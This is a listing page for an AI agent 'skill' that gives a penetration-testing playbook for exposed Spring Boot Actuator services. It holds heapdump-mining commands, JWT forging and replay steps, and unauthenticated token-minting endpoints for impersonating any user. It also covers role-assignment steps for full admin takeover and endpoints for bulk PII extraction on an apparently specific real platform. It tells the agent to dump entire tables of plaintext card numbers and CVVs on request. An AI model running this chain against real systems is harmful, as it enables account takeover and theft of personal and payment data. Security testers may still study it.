# Spring Boot Actuator Pentest

> Use when Spring Boot Actuator is exposed. Heapdump→JWT.

- Skill: `yufeifeio/spring-boot-actuator-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx get-skill add yufeifeio/spring-boot-actuator-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yufeifeio/spring-boot-actuator-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: Yufeifeio (https://skillmd.com/u/yufeifeio)
- Updated: 2026-11-22
- Page: https://skillmd.com/skills/yufeifeio/spring-boot-actuator-pentest

---


# Spring Boot Actuator / Spring Cloud Gateway Pentest

Class-level playbook for Java microservice platforms where Actuator, Knife4j, or a Spring Cloud Gateway is reachable. The high-value chain is almost always:

**Actuator → heapdump → config secrets (JWT/Nacos/Redis) → live or forged user token → gateway whitelist / internal feign endpoints → BFLA role assignment → full admin + data.**

## 0. Triggers

- `/actuator` returns `_links`; `/actuator/health` is `UP`
- nginx fronting `/servers`, `/api`, `*-bff-service`, `gateway-service`
- Knife4j `/doc.html`, `/<service>/v3/api-docs?group=default`
- error bodies `{"code":401,"message":"暂未登录或token已经过期"}` or `{"code":500,"message":"服务无法访问，请检查网络或服务状态"}`
- `sa-token` / `satoken` / `Authorization: Bearer` in JS or responses

## 1. Enumerate Actuator (try both root and context path)

```text
/actuator
/actuator/env
/actuator/configprops
/actuator/heapdump
/actuator/nacosconfig
/actuator/mappings
/actuator/beans
/actuator/threaddump
/actuator/gateway/routes
/actuator/refresh
```

Context path is often hidden behind the gateway base (e.g. `https://host/servers/actuator`). Test both `/servers/actuator` and `/actuator`.

- `/actuator/env` and `/actuator/configprops` usually mask values as `******` — still useful for key names, file paths, and which secrets exist.
- **`/actuator/nacosconfig` often returns Nacos `serverAddr`, `username`, `password`, `namespace` UNMASKED.** Grab it first.
- `/actuator/heapdump` is the real prize; it contains the actual strings that env masks.

## 2. Heapdump mining

```bash
curl -sk "$BASE/actuator/heapdump" -o heap.hprof -w '%{http_code} %{size_download}\n'
file heap.hprof                      # must be 'JAVA PROFILE 1.0.2'
strings -n 6 heap.hprof > heap.txt
grep -aiE 'jwt-secret|secret-key|password|nacos|redis://|datasource|accessKey|secretKey' heap.txt | sort -u
grep -aoE 'eyJ[A-Za-z0-9_-]{5,}\.[A-Za-z0-9_-]{5,}\.[A-Za-z0-9_-]{5,}' heap.txt | sort -u
```

- A live dump can be 100MB–2GB and slow. Run the download in the background, then run `strings` on the partial file; the config strings are usually loaded early.
- The value usually sits immediately after the key string in `strings` output (e.g. `sa-token.jwt-secret-key` then the 26-char secret). Print 20 lines around hits.
- Also grep for `micro.gateway.ignore-urls`, `white-urls`, `token-name`, `token-prefix`, `LoginToken`, internal service names, and `lb://`.
- Use `scripts/heapdump_mine.sh` and `scripts/jwt_hs256_probe.py` in this skill.

## 3. Sa-Token / JWT

Typical config:
- token name `Authorization`, prefix `Bearer`
- JWT claims: `loginType`, `loginId`, `userId`, `rnStr`, `AppKey`
- Sa-Token JWTs often have **no `exp`**; session validity is checked against Redis using `rnStr`. A token found in the heap may still be live.
- Weak production secrets are common (e.g. all lowercase alphabet). Verify every extracted token with the candidate secret before trusting it.

Order of attack:
1. Replay every token found in the heap against `/user` or `/userRole`.
2. If one returns 200, you have a real session; prefer it over forging.
3. If the deployment is `StpLogicJwtForStateless`, a forged HS256 token with the leaked secret works without Redis. Test a known live `loginId` first with a random `rnStr`; success means stateless.
4. `StpLogicJwtForMixin` requires the Redis session; forging alone gives 401.

## 4. Gateway whitelist and Nacos config

From `/actuator/nacosconfig` or the heap, recover the config content (often `gateway-route.yaml`, `common-satoken.yml`, `application-prod.yml`). Look for:

```text
micro.gateway.ignore-urls.white-urls[..]
micro.gateway.ignore-urls.sign-urls[..]
knife4j.gateway.routes[..].url
```

Whitelisted endpoints frequently include **admin auth endpoints**, e.g.:

```text
/users-bff-service/api/v1/admin/user/login
/users-bff-service/api/v1/admin/user/getLoginToken
/users-bff-service/api/v1/auth/*/*/login
/auto-website-bff/api/v1/projects/getChatInfoByUuid/**
/auto-website-bff/api/v1/projects/public/pageList
/pay-bff-service/api/v1/apple/order/notification
/dynamic-server/**
```

Test each with **no token**. Two common wins:

- `GET /users-bff-service/api/v1/admin/user/getLoginToken?userId=<any>&appKey=<appKey>` → `{accessToken, refreshToken}`. No auth. This is arbitrary-user impersonation. The `appKey` is required; without it the response is `{"code":8,"message":"平台信息不存在"}`. Enumerate appKeys via `/users-bff-service/api/v1/feign/platform/simple/list`.
- `POST /users-bff-service/api/v1/admin/user/login` with `{account, password}` where password must be a **32-char MD5**. Try phone numbers and default MD5(`123456`) = `e10adc3949ba59abbe56e057f20f883e`.
- **Enumerate existing platform admins first**: `GET /users-bff-service/api/v1/admin/user/adminPageList?pageNum=1&pageSize=10` (any token) returns `userId/account/roleId/roleName`. Platform super admins often use a small userId such as `888`; a weak-password operator account is a good console-login candidate.
- **Admin-login token != gateway token.** A token from `admin/user/login` may be accepted only by the admin-console backend (often `http://<ip>:8888/login`) and returns `401 暂未登录或token已经过期` on `/servers/...`. For gateway-valid admin access use `getLoginToken?userId=<adminUserId>&appKey=...`; for the console use the account/password pair.
- Look in the heap for the admin-console origin (`http://<ip>:8888/login`, `/dashboard`, `/project`). The port is often IP-filtered; report it as the console entry while proving impact through the public gateway API.
- `adminAdd` may return `500 服务无法访问` even while `adminPageList` works, so do not depend on creating a new admin. `adminUpdate/{id}` returning 200 does **not** prove the password changed — verify with `admin/user/login`.
- `X-Original-URL` may appear in captured admin requests; test path override / signature behavior.

## 5. Knife4j API mapping and BFLA

Every Spring Cloud service may expose its own OpenAPI:

```text
/servers/<service>/v3/api-docs?group=default
/servers/<service>/doc.html
```

These often need no auth and give the complete endpoint list. For admin takeover look for:

- `GET  /admin-bff-service/api/v1/role/getAllList` → role IDs (often readable with any token)
- `POST /admin-bff-service/api/v1/userRole` body `{"userId":<id>,"roleId":<roleId>}` → assign any role to any user; usually **no role check**
- `GET  /admin-bff-service/api/v1/userRole` → verify `roleName` and `roleMenus`
- `POST /admin-bff-service/api/v1/role` / `/menu` → create roles/menus

A normal user token assigning itself the super-admin `roleId` is full platform takeover. Verify by re-reading `userRole` and checking menus such as `USER_MANAGEMENT`, `ORDER_MANAGEMENT`, `ROLE_MANAGEMENT`.

**Revert pitfall:** setting `roleId: 0` creates a row the service cannot resolve; subsequent `GET userRole` returns 500 (`NPE`). Restore with a valid low-priv role instead (e.g. the 运营 role), not 0. There is usually no delete endpoint for userRole.

## 6. Internal feign endpoints and data exfil

Spring Cloud internal `/feign/**` paths are often routed by the gateway and protected only by “internal” convention:

```text
/users-bff-service/api/v1/feign/user/list?keyword=<x>        # often ignores keyword → full user dump
/users-bff-service/api/v1/feign/user/userId/{id}
/users-bff-service/api/v1/feign/platform/simple/list          # all tenants + appKeys
/users-bff-service/api/v1/feign/auth/user/roles
/database-bff-service/api/v1/feign/sqlite/...
```

Admin data endpoints usually leak the same data with any token:

- `/users-bff-service/api/v1/admin/user/pageList` (userId, phone, email, apiKey, lastLoginIp)
- `/auto-website-bff/api/v1/projects/admin/pageList` (all projects + owner phone)
- `/pay-bff-service/api/v1/admin/orderInfo/ranking/pageList` (paying users + amounts)
- `/auto-website-bff/api/v1/admin/summaryStats`, `/regionStats`, `/tokenStatistics`

Capture counts, a small sample, and the query used. Do not dump more PII than needed for proof unless the user explicitly asks.

## 7. AI-builder / preview-farm variant

For platforms like `<6char><ms>.auto.<domain>` (Yunji/LynxCode-style):

- The subdomain is the project UUID (`<code><epoch-ms>`). Preview API 507 `获取项目信息失败` usually means the project record was deleted; the static build remains but the backend is gone.
- `GET /auto-website-bff/api/v1/projects/getChatInfoByUuid/<uuid>` is commonly **unauthenticated** and returns the whole AI build conversation. The full source is in `<kiwiAction type="file" filePath="...">…</kiwiAction>` blocks — parse and save them.
- `db.sql` / `jwt.ini` in the build give DB schema, default admin (`admin/123456`, MD5), and the app’s own JWT secret.
- The generated app may expose a generic SQL-over-HTTP gateway (`POST /api/login/` with `{"@type":"select|create|update|delete","<table>":{"@column":…,"@condition":…}}`). Its client-side signature is often `md5(md5(sortedURLParams + token[10:26]))` with a **client-generated token**, i.e. no real secret.
- Builder API signing can be reconstructed from the JS bundle: locate the flatten/sort functions and constants (`AppKey`, `AppSecret`, salt), then `Sign = md5(md5(signString + salt))` with headers `appkey/appSecret/Nonce/Sign/Timestamp`.
- **Project SQLite DB is keyed by the token's userId**, not just the project UUID: path `/yunji-ai/database/{tokenUserId}/{projectUuid}/sqlite.db`. Querying `/database-bff-service/api/v1/sqlite/<uuid>/tables` with your own token returns `[]` or a path-not-found error even when the owner's DB is full. Find the owner `userId` in the admin project list (undocumented `?userId=<id>` filter works; every project row also carries `userId`), mint their token via `getLoginToken?userId=<owner>&appKey=...`, then call `tables` / `data/{table}` / `execute-sql` with that token. The DB survives after the project record is deleted (`getInfoByUuid` → null ≠ DB gone).
- `GET /database-bff-service/api/v1/sqlite/<uuid>/data/<table>` returns a **paged object** `{pageNum,pageSize,totalPage,total,list}`, not the usual `{code,data}` envelope. Parse accordingly; a `{code,data}` parser reports 0 rows and misses real rows. Read-only `tables` + `data` is enough for proof; avoid `execute-sql` writes unless asked.
- Card/VCC data validation: full 16-digit numbers may still be demo/test. Check Luhn and BIN (424242 / 555555 = test ranges), and whether the row was written by the front-end generator. `**** **** **** 1234` rows are seeds. Report test cards as test cards, not as real VCC.

## 8. Pitfalls

- `500 服务无法访问，请检查网络或服务状态` is a Feign hop failure, not auth denial. Retry; check `/<service>/v3/api-docs` to see whether the service is up.
- `507` can mean “project record missing”, not “DB full”. Distinguish by checking project info endpoints.
- SPA fallback: `/anything` returns 200 `index.html`. Compare byte size/hash; only paths that return JSON or a different size are real routes.
- Same-IP rule: only the named host’s A record is the target. Other tenants on the same preview farm are not automatically in scope; note them as recon.
- Do not brute-force SMS/OTP on a platform when a whitelisted token-minting endpoint exists. Find the whitelist first.
- Do not put live tokens into the skill library; keep them in the engagement directory and reference the path.
- A dead project record does not mean the DB is gone. `getInfoByUuid` null + own-token `tables:[]` is usually **userId isolation**, not an empty database. Find the owner `userId` and mint their token before concluding “no data”.
- `data/<table>` returns a raw page object; a `{code,data}` parser silently sees 0 rows. Check `total` and `list` directly.

## 9. Reporting checklist

- Actuator URL + exact exposed endpoints, heapdump size, config secrets found
- JWT scheme/secret and whether tokens were replayed or forged
- Unauthenticated token-mint endpoint + one PoC userId
- Role-assignment BFLA PoC (request + response + `roleName`/menus)
- Data counts: users, projects, payers, PII fields, sample rows (mask PII)
- Target-specific: dead/live status, source recovery, default creds
- If the user asks “有明文吗 / 账号密码呢”: lead with the exact row/credential/token (card number+CVV, account+password, userId), then the caveat (test card / console port filtered). Do not bury it in a long report.
- When asked for plaintext card data, dump the whole table (all rows), not a sample; give `total` and say whether each full number is real or a test BIN (Luhn/BIN check).
- Evidence files and working session/token path

## References

- `references/lynxcode-yunji-takeover.md` — full case: Actuator→heapdump→JWT→getLoginToken→super-admin, preview source recovery, exact endpoints and counts.
- `scripts/heapdump_mine.sh` — download/strings/grep a heapdump for secrets and JWTs.
- `scripts/jwt_hs256_probe.py` — extract JWTs and verify HS256 signatures against candidate secrets.

